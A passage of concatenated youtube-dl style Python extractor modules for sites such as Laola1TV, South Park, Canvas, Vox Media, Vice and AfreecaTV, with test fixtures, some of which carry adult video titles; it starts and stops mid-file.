            'id': '487850',
            'display_id': '2016-03-22-belogorie-belgorod-trentino-diatec-lde',
            'ext': 'flv',
            'title': 'Belogorie BELGOROD - TRENTINO Diatec',
            'upload_date': '20160322',
            'uploader': 'CEV - Europäischer Volleyball Verband',
            'is_live': True,
            'categories': ['Volleyball'],
        },
        'params': {
            'skip_download': True,
        },
        'skip': 'This live stream has already finished.',
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        display_id = mobj.group('slug')
        kind = mobj.group('kind')
        lang = mobj.group('lang')
        portal = mobj.group('portal')

        webpage = self._download_webpage(url, display_id)

        if 'Dieser Livestream ist bereits beendet.' in webpage:
            raise ExtractorError('This live stream has already finished.', expected=True)

        iframe_url = self._search_regex(
            r'<iframe[^>]*?id="videoplayer"[^>]*?src="([^"]+)"',
            webpage, 'iframe url')

        video_id = self._search_regex(
            r'videoid=(\d+)', iframe_url, 'video id')

        iframe = self._download_webpage(compat_urlparse.urljoin(
            url, iframe_url), display_id, 'Downloading iframe')

        partner_id = self._search_regex(
            r'partnerid\s*:\s*(["\'])(?P<partner_id>.+?)\1',
            iframe, 'partner id', group='partner_id')

        hd_doc = self._download_xml(
            'http://www.laola1.tv/server/hd_video.php?%s'
            % compat_urllib_parse_urlencode({
                'play': video_id,
                'partner': partner_id,
                'portal': portal,
                'lang': lang,
                'v5ident': '',
            }), display_id)

        _v = lambda x, **k: xpath_text(hd_doc, './/video/' + x, **k)
        title = _v('title', fatal=True)

        VS_TARGETS = {
            'video': '2',
            'livestream': '17',
        }

        req = sanitized_Request(
            'https://club.laola1.tv/sp/laola1/api/v3/user/session/premium/player/stream-access?%s' %
            compat_urllib_parse_urlencode({
                'videoId': video_id,
                'target': VS_TARGETS.get(kind, '2'),
                'label': _v('label'),
                'area': _v('area'),
            }),
            urlencode_postdata(
                dict((i, v) for i, v in enumerate(_v('req_liga_abos').split(',')))))

        token_url = self._download_json(req, display_id)['data']['stream-access'][0]
        token_doc = self._download_xml(token_url, display_id, 'Downloading token')

        token_attrib = xpath_element(token_doc, './/token').attrib
        token_auth = token_attrib['auth']

        if token_auth in ('blocked', 'restricted', 'error'):
            raise ExtractorError(
                'Token error: %s' % token_attrib['comment'], expected=True)

        formats = self._extract_f4m_formats(
            '%s?hdnea=%s&hdcore=3.2.0' % (token_attrib['url'], token_auth),
            video_id, f4m_id='hds')
        self._sort_formats(formats)

        categories_str = _v('meta_sports')
        categories = categories_str.split(',') if categories_str else []

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'upload_date': unified_strdate(_v('time_date')),
            'uploader': _v('meta_organisation'),
            'categories': categories,
            'is_live': _v('islive') == 'true',
            'formats': formats,
        }






# encoding: utf-8
from __future__ import unicode_literals

from .mtv import MTVServicesInfoExtractor


class SouthParkIE(MTVServicesInfoExtractor):
    IE_NAME = 'southpark.cc.com'
    _VALID_URL = r'https?://(?:www\.)?(?P<url>southpark\.cc\.com/(?:clips|full-episodes)/(?P<id>.+?)(\?|#|$))'

    _FEED_URL = 'http://www.southparkstudios.com/feeds/video-player/mrss'

    _TESTS = [{
        'url': 'http://southpark.cc.com/clips/104437/bat-daded#tab=featured',
        'info_dict': {
            'id': 'a7bff6c2-ed00-11e0-aca6-0026b9414f30',
            'ext': 'mp4',
            'title': 'South Park|Bat Daded',
            'description': 'Randy disqualifies South Park by getting into a fight with Bat Dad.',
            'timestamp': 1112760000,
            'upload_date': '20050406',
        },
    }]


class SouthParkEsIE(SouthParkIE):
    IE_NAME = 'southpark.cc.com:español'
    _VALID_URL = r'https?://(?:www\.)?(?P<url>southpark\.cc\.com/episodios-en-espanol/(?P<id>.+?)(\?|#|$))'
    _LANG = 'es'

    _TESTS = [{
        'url': 'http://southpark.cc.com/episodios-en-espanol/s01e01-cartman-consigue-una-sonda-anal#source=351c1323-0b96-402d-a8b9-40d01b2e9bde&position=1&sort=!airdate',
        'info_dict': {
            'title': 'Cartman Consigue Una Sonda Anal',
            'description': 'Cartman Consigue Una Sonda Anal',
        },
        'playlist_count': 4,
    }]


class SouthParkDeIE(SouthParkIE):
    IE_NAME = 'southpark.de'
    _VALID_URL = r'https?://(?:www\.)?(?P<url>southpark\.de/(?:clips|alle-episoden)/(?P<id>.+?)(\?|#|$))'
    _FEED_URL = 'http://www.southpark.de/feeds/video-player/mrss/'

    _TESTS = [{
        'url': 'http://www.southpark.de/clips/uygssh/the-government-wont-respect-my-privacy#tab=featured',
        'info_dict': {
            'id': '85487c96-b3b9-4e39-9127-ad88583d9bf2',
            'ext': 'mp4',
            'title': 'South Park|The Government Won\'t Respect My Privacy',
            'description': 'Cartman explains the benefits of "Shitter" to Stan, Kyle and Craig.',
            'timestamp': 1380160800,
            'upload_date': '20130926',
        },
    }, {
        # non-ASCII characters in initial URL
        'url': 'http://www.southpark.de/alle-episoden/s18e09-hashtag-aufwärmen',
        'info_dict': {
            'title': 'Hashtag „Aufwärmen“',
            'description': 'Kyle will mit seinem kleinen Bruder Ike Videospiele spielen. Als der nicht mehr mit ihm spielen will, hat Kyle Angst, dass er die Kids von heute nicht mehr versteht.',
        },
        'playlist_count': 3,
    }, {
        # non-ASCII characters in redirect URL
        'url': 'http://www.southpark.de/alle-episoden/s18e09',
        'info_dict': {
            'title': 'Hashtag „Aufwärmen“',
            'description': 'Kyle will mit seinem kleinen Bruder Ike Videospiele spielen. Als der nicht mehr mit ihm spielen will, hat Kyle Angst, dass er die Kids von heute nicht mehr versteht.',
        },
        'playlist_count': 3,
    }]


class SouthParkNlIE(SouthParkIE):
    IE_NAME = 'southpark.nl'
    _VALID_URL = r'https?://(?:www\.)?(?P<url>southpark\.nl/(?:clips|full-episodes)/(?P<id>.+?)(\?|#|$))'
    _FEED_URL = 'http://www.southpark.nl/feeds/video-player/mrss/'

    _TESTS = [{
        'url': 'http://www.southpark.nl/full-episodes/s18e06-freemium-isnt-free',
        'info_dict': {
            'title': 'Freemium Isn\'t Free',
            'description': 'Stan is addicted to the new Terrance and Phillip mobile game.',
        },
        'playlist_mincount': 3,
    }]


class SouthParkDkIE(SouthParkIE):
    IE_NAME = 'southparkstudios.dk'
    _VALID_URL = r'https?://(?:www\.)?(?P<url>southparkstudios\.dk/(?:clips|full-episodes)/(?P<id>.+?)(\?|#|$))'
    _FEED_URL = 'http://www.southparkstudios.dk/feeds/video-player/mrss/'

    _TESTS = [{
        'url': 'http://www.southparkstudios.dk/full-episodes/s18e07-grounded-vindaloop',
        'info_dict': {
            'title': 'Grounded Vindaloop',
            'description': 'Butters is convinced he\'s living in a virtual reality.',
        },
        'playlist_mincount': 3,
    }]






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    js_to_json,
    remove_end,
)


class HellPornoIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?hellporno\.com/videos/(?P<id>[^/]+)'
    _TEST = {
        'url': 'http://hellporno.com/videos/dixie-is-posing-with-naked-ass-very-erotic/',
        'md5': '1fee339c610d2049699ef2aa699439f1',
        'info_dict': {
            'id': '149116',
            'display_id': 'dixie-is-posing-with-naked-ass-very-erotic',
            'ext': 'mp4',
            'title': 'Dixie is posing with naked ass very erotic',
            'thumbnail': 're:https?://.*\.jpg$',
            'age_limit': 18,
        }
    }

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        title = remove_end(self._html_search_regex(
            r'<title>([^<]+)</title>', webpage, 'title'), ' - Hell Porno')

        flashvars = self._parse_json(self._search_regex(
            r'var\s+flashvars\s*=\s*({.+?});', webpage, 'flashvars'),
            display_id, transform_source=js_to_json)

        video_id = flashvars.get('video_id')
        thumbnail = flashvars.get('preview_url')
        ext = flashvars.get('postfix', '.mp4')[1:]

        formats = []
        for video_url_key in ['video_url', 'video_alt_url']:
            video_url = flashvars.get(video_url_key)
            if not video_url:
                continue
            video_text = flashvars.get('%s_text' % video_url_key)
            fmt = {
                'url': video_url,
                'ext': ext,
                'format_id': video_text,
            }
            m = re.search(r'^(?P<height>\d+)[pP]', video_text)
            if m:
                fmt['height'] = int(m.group('height'))
            formats.append(fmt)
        self._sort_formats(formats)

        categories = self._html_search_meta(
            'keywords', webpage, 'categories', default='').split(',')

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'thumbnail': thumbnail,
            'categories': categories,
            'age_limit': 18,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor


class ExfmIE(InfoExtractor):
    IE_NAME = 'exfm'
    IE_DESC = 'ex.fm'
    _VALID_URL = r'https?://(?:www\.)?ex\.fm/song/(?P<id>[^/]+)'
    _SOUNDCLOUD_URL = r'http://(?:www\.)?api\.soundcloud\.com/tracks/([^/]+)/stream'
    _TESTS = [
        {
            'url': 'http://ex.fm/song/eh359',
            'md5': 'e45513df5631e6d760970b14cc0c11e7',
            'info_dict': {
                'id': '44216187',
                'ext': 'mp3',
                'title': 'Test House "Love Is Not Enough" (Extended Mix) DeadJournalist Exclusive',
                'uploader': 'deadjournalist',
                'upload_date': '20120424',
                'description': 'Test House \"Love Is Not Enough\" (Extended Mix) DeadJournalist Exclusive',
            },
            'note': 'Soundcloud song',
            'skip': 'The site is down too often',
        },
        {
            'url': 'http://ex.fm/song/wddt8',
            'md5': '966bd70741ac5b8570d8e45bfaed3643',
            'info_dict': {
                'id': 'wddt8',
                'ext': 'mp3',
                'title': 'Safe and Sound',
                'uploader': 'Capital Cities',
            },
            'skip': 'The site is down too often',
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        song_id = mobj.group('id')
        info_url = 'http://ex.fm/api/v3/song/%s' % song_id
        info = self._download_json(info_url, song_id)['song']
        song_url = info['url']
        if re.match(self._SOUNDCLOUD_URL, song_url) is not None:
            self.to_screen('Soundcloud song detected')
            return self.url_result(song_url.replace('/stream', ''), 'Soundcloud')
        return {
            'id': song_id,
            'url': song_url,
            'ext': 'mp3',
            'title': info['title'],
            'thumbnail': info['image']['large'],
            'uploader': info['artist'],
            'view_count': info['loved_count'],
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import float_or_none


class CanvasIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?canvas\.be/video/(?:[^/]+/)*(?P<id>[^/?#&]+)'
    _TESTS = [{
        'url': 'http://www.canvas.be/video/de-afspraak/najaar-2015/de-afspraak-veilt-voor-de-warmste-week',
        'md5': 'ea838375a547ac787d4064d8c7860a6c',
        'info_dict': {
            'id': 'mz-ast-5e5f90b6-2d72-4c40-82c2-e134f884e93e',
            'display_id': 'de-afspraak-veilt-voor-de-warmste-week',
            'ext': 'mp4',
            'title': 'De afspraak veilt voor de Warmste Week',
            'description': 'md5:24cb860c320dc2be7358e0e5aa317ba6',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 49.02,
        }
    }, {
        # with subtitles
        'url': 'http://www.canvas.be/video/panorama/2016/pieter-0167',
        'info_dict': {
            'id': 'mz-ast-5240ff21-2d30-4101-bba6-92b5ec67c625',
            'display_id': 'pieter-0167',
            'ext': 'mp4',
            'title': 'Pieter 0167',
            'description': 'md5:943cd30f48a5d29ba02c3a104dc4ec4e',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 2553.08,
            'subtitles': {
                'nl': [{
                    'ext': 'vtt',
                }],
            },
        },
        'params': {
            'skip_download': True,
        }
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)

        webpage = self._download_webpage(url, display_id)

        title = self._search_regex(
            r'<h1[^>]+class="video__body__header__title"[^>]*>(.+?)</h1>',
            webpage, 'title', default=None) or self._og_search_title(webpage)

        video_id = self._html_search_regex(
            r'data-video=(["\'])(?P<id>.+?)\1', webpage, 'video id', group='id')

        data = self._download_json(
            'https://mediazone.vrt.be/api/v1/canvas/assets/%s' % video_id, display_id)

        formats = []
        for target in data['targetUrls']:
            format_url, format_type = target.get('url'), target.get('type')
            if not format_url or not format_type:
                continue
            if format_type == 'HLS':
                formats.extend(self._extract_m3u8_formats(
                    format_url, display_id, entry_protocol='m3u8_native',
                    ext='mp4', preference=0, fatal=False, m3u8_id=format_type))
            elif format_type == 'HDS':
                formats.extend(self._extract_f4m_formats(
                    format_url, display_id, f4m_id=format_type, fatal=False))
            else:
                formats.append({
                    'format_id': format_type,
                    'url': format_url,
                })
        self._sort_formats(formats)

        subtitles = {}
        subtitle_urls = data.get('subtitleUrls')
        if isinstance(subtitle_urls, list):
            for subtitle in subtitle_urls:
                subtitle_url = subtitle.get('url')
                if subtitle_url and subtitle.get('type') == 'CLOSED':
                    subtitles.setdefault('nl', []).append({'url': subtitle_url})

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': self._og_search_description(webpage),
            'formats': formats,
            'duration': float_or_none(data.get('duration'), 1000),
            'thumbnail': data.get('posterImageUrl'),
            'subtitles': subtitles,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote


class VoxMediaIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?(?:theverge|vox|sbnation|eater|polygon|curbed|racked)\.com/(?:[^/]+/)*(?P<id>[^/?]+)'
    _TESTS = [{
        'url': 'http://www.theverge.com/2014/6/27/5849272/material-world-how-google-discovered-what-software-is-made-of',
        'md5': '73856edf3e89a711e70d5cf7cb280b37',
        'info_dict': {
            'id': '11eXZobjrG8DCSTgrNjVinU-YmmdYjhe',
            'ext': 'mp4',
            'title': 'Google\'s new material design direction',
            'description': 'md5:2f44f74c4d14a1f800ea73e1c6832ad2',
        },
        'add_ie': ['Ooyala'],
    }, {
        # data-ooyala-id
        'url': 'http://www.theverge.com/2014/10/21/7025853/google-nexus-6-hands-on-photos-video-android-phablet',
        'md5': 'd744484ff127884cd2ba09e3fa604e4b',
        'info_dict': {
            'id': 'RkZXU4cTphOCPDMZg5oEounJyoFI0g-B',
            'ext': 'mp4',
            'title': 'The Nexus 6: hands-on with Google\'s phablet',
            'description': 'md5:87a51fe95ff8cea8b5bdb9ac7ae6a6af',
        },
        'add_ie': ['Ooyala'],
    }, {
        # volume embed
        'url': 'http://www.vox.com/2016/3/31/11336640/mississippi-lgbt-religious-freedom-bill',
        'md5': '375c483c5080ab8cd85c9c84cfc2d1e4',
        'info_dict': {
            'id': 'wydzk3dDpmRz7PQoXRsTIX6XTkPjYL0b',
            'ext': 'mp4',
            'title': 'The new frontier of LGBTQ civil rights, explained',
            'description': 'md5:0dc58e94a465cbe91d02950f770eb93f',
        },
        'add_ie': ['Ooyala'],
    }, {
        # youtube embed
        'url': 'http://www.vox.com/2016/3/24/11291692/robot-dance',
        'md5': '83b3080489fb103941e549352d3e0977',
        'info_dict': {
            'id': 'FcNHTJU1ufM',
            'ext': 'mp4',
            'title': 'How "the robot" became the greatest novelty dance of all time',
            'description': 'md5:b081c0d588b8b2085870cda55e6da176',
            'upload_date': '20160324',
            'uploader_id': 'voxdotcom',
            'uploader': 'Vox',
        },
        'add_ie': ['Youtube'],
    }, {
        # SBN.VideoLinkset.entryGroup multiple ooyala embeds
        'url': 'http://www.sbnation.com/college-football-recruiting/2015/2/3/7970291/national-signing-day-rationalizations-itll-be-ok-itll-be-ok',
        'info_dict': {
            'id': 'national-signing-day-rationalizations-itll-be-ok-itll-be-ok',
            'title': '25 lies you will tell yourself on National Signing Day',
            'description': 'It\'s the most self-delusional time of the year, and everyone\'s gonna tell the same lies together!',
        },
        'playlist': [{
            'md5': '721fededf2ab74ae4176c8c8cbfe092e',
            'info_dict': {
                'id': 'p3cThlMjE61VDi_SD9JlIteSNPWVDBB9',
                'ext': 'mp4',
                'title': 'Buddy Hield vs Steph Curry (and the world)',
                'description': 'Let’s dissect only the most important Final Four storylines.',
            },
        }, {
            'md5': 'bf0c5cc115636af028be1bab79217ea9',
            'info_dict': {
                'id': 'BmbmVjMjE6esPHxdALGubTrouQ0jYLHj',
                'ext': 'mp4',
                'title': 'Chasing Cinderella 2016: Syracuse basketball',
                'description': 'md5:e02d56b026d51aa32c010676765a690d',
            },
        }],
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = compat_urllib_parse_unquote(self._download_webpage(url, display_id))

        def create_entry(provider_video_id, provider_video_type, title=None, description=None):
            return {
                '_type': 'url_transparent',
                'url': provider_video_id if provider_video_type == 'youtube' else '%s:%s' % (provider_video_type, provider_video_id),
                'title': title or self._og_search_title(webpage),
                'description': description or self._og_search_description(webpage),
            }

        entries = []
        entries_data = self._search_regex([
            r'Chorus\.VideoContext\.addVideo\((\[{.+}\])\);',
            r'var\s+entry\s*=\s*({.+});',
            r'SBN\.VideoLinkset\.entryGroup\(\s*(\[.+\])',
        ], webpage, 'video data', default=None)
        if entries_data:
            entries_data = self._parse_json(entries_data, display_id)
            if isinstance(entries_data, dict):
                entries_data = [entries_data]
            for video_data in entries_data:
                provider_video_id = video_data.get('provider_video_id')
                provider_video_type = video_data.get('provider_video_type')
                if provider_video_id and provider_video_type:
                    entries.append(create_entry(
                        provider_video_id, provider_video_type,
                        video_data.get('title'), video_data.get('description')))

        provider_video_id = self._search_regex(
            r'data-ooyala-id="([^"]+)"', webpage, 'ooyala id', default=None)
        if provider_video_id:
            entries.append(create_entry(provider_video_id, 'ooyala'))

        volume_uuid = self._search_regex(
            r'data-volume-uuid="([^"]+)"', webpage, 'volume uuid', default=None)
        if volume_uuid:
            volume_webpage = self._download_webpage(
                'http://volume.vox-cdn.com/embed/%s' % volume_uuid, volume_uuid)
            video_data = self._parse_json(self._search_regex(
                r'Volume\.createVideo\(({.+})\s*,\s*{.*}\s*,\s*\[.*\]\s*,\s*{.*}\);', volume_webpage, 'video data'), volume_uuid)
            for provider_video_type in ('ooyala', 'youtube'):
                provider_video_id = video_data.get('%s_id' % provider_video_type)
                if provider_video_id:
                    description = video_data.get('description_long') or video_data.get('description_short')
                    entries.append(create_entry(
                        provider_video_id, provider_video_type, video_data.get('title_short'), description))
                    break

        if len(entries) == 1:
            return entries[0]
        else:
            return self.playlist_result(entries, display_id, self._og_search_title(webpage), self._og_search_description(webpage))






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import ExtractorError


class ViceIE(InfoExtractor):
    _VALID_URL = r'https?://(?:.+?\.)?vice\.com/(?:[^/]+/)?videos?/(?P<id>[^/?#&]+)'

    _TESTS = [{
        'url': 'http://www.vice.com/video/cowboy-capitalists-part-1',
        'md5': 'e9d77741f9e42ba583e683cd170660f7',
        'info_dict': {
            'id': '43cW1mYzpia9IlestBjVpd23Yu3afAfp',
            'ext': 'flv',
            'title': 'VICE_COWBOYCAPITALISTS_PART01_v1_VICE_WM_1080p.mov',
            'duration': 725.983,
        },
        'add_ie': ['Ooyala'],
    }, {
        'url': 'http://www.vice.com/video/how-to-hack-a-car',
        'md5': '6fb2989a3fed069fb8eab3401fc2d3c9',
        'info_dict': {
            'id': '3jstaBeXgAs',
            'ext': 'mp4',
            'title': 'How to Hack a Car: Phreaked Out (Episode 2)',
            'description': 'md5:ee95453f7ff495db8efe14ae8bf56f30',
            'uploader_id': 'MotherboardTV',
            'uploader': 'Motherboard',
            'upload_date': '20140529',
        },
        'add_ie': ['Youtube'],
    }, {
        'url': 'https://news.vice.com/video/experimenting-on-animals-inside-the-monkey-lab',
        'only_matching': True,
    }, {
        'url': 'http://www.vice.com/ru/video/big-night-out-ibiza-clive-martin-229',
        'only_matching': True,
    }, {
        'url': 'https://munchies.vice.com/en/videos/watch-the-trailer-for-our-new-series-the-pizza-show',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        try:
            embed_code = self._search_regex(
                r'embedCode=([^&\'"]+)', webpage,
                'ooyala embed code', default=None)
            if embed_code:
                return self.url_result('ooyala:%s' % embed_code, 'Ooyala')
            youtube_id = self._search_regex(
                r'data-youtube-id="([^"]+)"', webpage, 'youtube id')
            return self.url_result(youtube_id, 'Youtube')
        except ExtractorError:
            raise ExtractorError('The page doesn\'t contain a video', expected=True)


class ViceShowIE(InfoExtractor):
    _VALID_URL = r'https?://(?:.+?\.)?vice\.com/(?:[^/]+/)?show/(?P<id>[^/?#&]+)'

    _TEST = {
        'url': 'https://munchies.vice.com/en/show/fuck-thats-delicious-2',
        'info_dict': {
            'id': 'fuck-thats-delicious-2',
            'title': "Fuck, That's Delicious",
            'description': 'Follow the culinary adventures of rapper Action Bronson during his ongoing world tour.',
        },
        'playlist_count': 17,
    }

    def _real_extract(self, url):
        show_id = self._match_id(url)
        webpage = self._download_webpage(url, show_id)

        entries = [
            self.url_result(video_url, ViceIE.ie_key())
            for video_url, _ in re.findall(
                r'<h2[^>]+class="article-title"[^>]+data-id="\d+"[^>]*>\s*<a[^>]+href="(%s.*?)"'
                % ViceIE._VALID_URL, webpage)]

        title = self._search_regex(
            r'<title>(.+?)</title>', webpage, 'title', default=None)
        if title:
            title = re.sub(r'(.+)\s*\|\s*.+$', r'\1', title).strip()
        description = self._html_search_meta('description', webpage, 'description')

        return self.playlist_result(entries, show_id, title, description)






from __future__ import unicode_literals

import re
import os

from .common import InfoExtractor


class PyvideoIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?pyvideo\.org/video/(?P<id>\d+)/(.*)'

    _TESTS = [
        {
            'url': 'http://pyvideo.org/video/1737/become-a-logging-expert-in-30-minutes',
            'md5': '520915673e53a5c5d487c36e0c4d85b5',
            'info_dict': {
                'id': '24_4WWkSmNo',
                'ext': 'webm',
                'title': 'Become a logging expert in 30 minutes',
                'description': 'md5:9665350d466c67fb5b1598de379021f7',
                'upload_date': '20130320',
                'uploader': 'Next Day Video',
                'uploader_id': 'NextDayVideo',
            },
            'add_ie': ['Youtube'],
        },
        {
            'url': 'http://pyvideo.org/video/2542/gloriajw-spotifywitherikbernhardsson182m4v',
            'md5': '5fe1c7e0a8aa5570330784c847ff6d12',
            'info_dict': {
                'id': '2542',
                'ext': 'm4v',
                'title': 'Gloriajw-SpotifyWithErikBernhardsson182',
            },
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)

        m_youtube = re.search(r'(https?://www\.youtube\.com/watch\?v=.*)', webpage)
        if m_youtube is not None:
            return self.url_result(m_youtube.group(1), 'Youtube')

        title = self._html_search_regex(
            r'<div class="section">\s*<h3(?:\s+class="[^"]*"[^>]*)?>([^>]+?)</h3>',
            webpage, 'title', flags=re.DOTALL)
        video_url = self._search_regex(
            [r'<source src="(.*?)"', r'<dt>Download</dt>.*?<a href="(.+?)"'],
            webpage, 'video url', flags=re.DOTALL)

        return {
            'id': video_id,
            'title': os.path.splitext(title)[0],
            'url': video_url,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import int_or_none


_translation_table = {
    'a': 'h', 'd': 'e', 'e': 'v', 'f': 'o', 'g': 'f', 'i': 'd', 'l': 'n',
    'm': 'a', 'n': 'm', 'p': 'u', 'q': 't', 'r': 's', 'v': 'p', 'x': 'r',
    'y': 'l', 'z': 'i',
    '$': ':', '&': '.', '(': '=', '^': '&', '=': '/',
}


def _decode(s):
    return ''.join(_translation_table.get(c, c) for c in s)


class CliphunterIE(InfoExtractor):
    IE_NAME = 'cliphunter'

    _VALID_URL = r'''(?x)https?://(?:www\.)?cliphunter\.com/w/
        (?P<id>[0-9]+)/
        (?P<seo>.+?)(?:$|[#\?])
    '''
    _TESTS = [{
        'url': 'http://www.cliphunter.com/w/1012420/Fun_Jynx_Maze_solo',
        'md5': 'b7c9bbd4eb3a226ab91093714dcaa480',
        'info_dict': {
            'id': '1012420',
            'ext': 'flv',
            'title': 'Fun Jynx Maze solo',
            'thumbnail': 're:^https?://.*\.jpg$',
            'age_limit': 18,
        },
        'skip': 'Video gone',
    }, {
        'url': 'http://www.cliphunter.com/w/2019449/ShesNew__My_booty_girlfriend_Victoria_Paradices_pussy_filled_with_jizz',
        'md5': '55a723c67bfc6da6b0cfa00d55da8a27',
        'info_dict': {
            'id': '2019449',
            'ext': 'mp4',
            'title': 'ShesNew - My booty girlfriend, Victoria Paradice\'s pussy filled with jizz',
            'thumbnail': 're:^https?://.*\.jpg$',
            'age_limit': 18,
        },
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        video_title = self._search_regex(
            r'mediaTitle = "([^"]+)"', webpage, 'title')

        gexo_files = self._parse_json(
            self._search_regex(
                r'var\s+gexoFiles\s*=\s*({.+?});', webpage, 'gexo files'),
            video_id)

        formats = []
        for format_id, f in gexo_files.items():
            video_url = f.get('url')
            if not video_url:
                continue
            fmt = f.get('fmt')
            height = f.get('h')
            format_id = '%s_%sp' % (fmt, height) if fmt and height else format_id
            formats.append({
                'url': _decode(video_url),
                'format_id': format_id,
                'width': int_or_none(f.get('w')),
                'height': int_or_none(height),
                'tbr': int_or_none(f.get('br')),
            })
        self._sort_formats(formats)

        thumbnail = self._search_regex(
            r"var\s+mov_thumb\s*=\s*'([^']+)';",
            webpage, 'thumbnail', fatal=False)

        return {
            'id': video_id,
            'title': video_title,
            'formats': formats,
            'age_limit': self._rta_search(webpage),
            'thumbnail': thumbnail,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlparse,
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    int_or_none,
    xpath_element,
    xpath_text,
)


class AfreecaTVIE(InfoExtractor):
    IE_DESC = 'afreecatv.com'
    _VALID_URL = r'''(?x)^
        https?://(?:(live|afbbs|www)\.)?afreeca(?:tv)?\.com(?::\d+)?
        (?:
            /app/(?:index|read_ucc_bbs)\.cgi|
            /player/[Pp]layer\.(?:swf|html))
        \?.*?\bnTitleNo=(?P<id>\d+)'''
    _TESTS = [{
        'url': 'http://live.afreecatv.com:8079/app/index.cgi?szType=read_ucc_bbs&szBjId=dailyapril&nStationNo=16711924&nBbsNo=18605867&nTitleNo=36164052&szSkin=',
        'md5': 'f72c89fe7ecc14c1b5ce506c4996046e',
        'info_dict': {
            'id': '36164052',
            'ext': 'mp4',
            'title': '데일리 에이프릴 요정들의 시상식!',
            'thumbnail': 're:^https?://(?:video|st)img.afreecatv.com/.*$',
            'uploader': 'dailyapril',
            'uploader_id': 'dailyapril',
            'upload_date': '20160503',
        }
    }, {
        'url': 'http://afbbs.afreecatv.com:8080/app/read_ucc_bbs.cgi?nStationNo=16711924&nTitleNo=36153164&szBjId=dailyapril&nBbsNo=18605867',
        'info_dict': {
            'id': '36153164',
            'title': "BJ유트루와 함께하는 '팅커벨 메이크업!'",
            'thumbnail': 're:^https?://(?:video|st)img.afreecatv.com/.*$',
            'uploader': 'dailyapril',
            'uploader_id': 'dailyapril',
        },
        'playlist_count': 2,
        'playlist': [{
            'md5': 'd8b7c174568da61d774ef0203159bf97',
            'info_dict': {
                'id': '36153164_1',
                'ext': 'mp4',
                'title': "BJ유트루와 함께하는 '팅커벨 메이크업!'",
                'upload_date': '20160502',
            },
        }, {
            'md5': '58f2ce7f6044e34439ab2d50612ab02b',
            'info_dict': {
                'id': '36153164_2',
                'ext': 'mp4',
                'title': "BJ유트루와 함께하는 '팅커벨 메이크업!'",
                'upload_date': '20160502',
            },
        }],
    }, {
        'url': 'http://www.afreecatv.com/player/Player.swf?szType=szBjId=djleegoon&nStationNo=11273158&nBbsNo=13161095&nTitleNo=36327652',
        'only_matching': True,
    }]

    @staticmethod
    def parse_video_key(key):
        video_key = {}
        m = re.match(r'^(?P<upload_date>\d{8})_\w+_(?P<part>\d+)$', key)
        if m:
            video_key['upload_date'] = m.group('upload_date')
            video_key['part'] = m.group('part')
        return video_key

    def _real_extract(self, url):
        video_id = self._match_id(url)
        parsed_url = compat_urllib_parse_urlparse(url)
        info_url = compat_urlparse.urlunparse(parsed_url._replace(
            netloc='afbbs.afreecatv.com:8080',
            path='/api/video/get_video_info.php'))
        video_xml = self._download_xml(info_url, video_id)

        if xpath_element(video_xml, './track/video/file') is None:
            raise ExtractorError('Specified AfreecaTV video does not exist',
                                 expected=True)

        title = xpath_text(video_xml, './track/title', 'title')
        uploader = xpath_text(video_xml, './track/nickname', 'uploader')
        uploader_id = xpath_text(video_xml, './track/bj_id', 'uploader id')
        duration = int_or_none(xpath_text(video_xml, './track/duration',
                                          'duration'))
        thumbnail = xpath_text(video_xml, './track/titleImage', 'thumbnail')

        entries = []
        for i, video_file in enumerate(video_xml.findall('./track/video/file')):
            video_key = self.parse_video_key(video_file.get('key', ''))
            if not video_key:
                continue
            entries.append({
                'id': '%s_%s' % (video_id, video_key.get('part', i + 1)),
                'title': title,
                'upload_date': video_key.get('upload_date'),
                'duration': int_or_none(video_file.get('duration')),
                'url': video_file.text,
            })

        info = {
            'id': video_id,
            'title': title,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'duration': duration,
            'thumbnail': thumbnail,
        }

        if len(entries) > 1:
            info['_type'] = 'multi_video'
            info['entries'] = entries
        elif len(entries) == 1:
            info['url'] = entries[0]['url']
            info['upload_date'] = entries[0].get('upload_date')
        else:
            raise ExtractorError(
                'No files found for the specified AfreecaTV video, either'
                ' the URL is incorrect or the video has been made private.',
                expected=True)

        return info






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import int_or_none


class TouTvIE(InfoExtractor):
    IE_NAME = 'tou.tv'
    _VALID_URL = r'https?://ici\.tou\.tv/(?P<id>[a-zA-Z0-9_-]+/S[0-9]+E[0-9]+)'

    _TEST = {
        'url': 'http://ici.tou.tv/garfield-tout-court/S2015E17',
        'info_dict': {
            'id': '122017',
            'ext': 'mp4',
            'title': 'Saison 2015 Épisode 17',
            'description': 'La photo de famille 2',
            'upload_date': '20100717',
        },
        'params': {
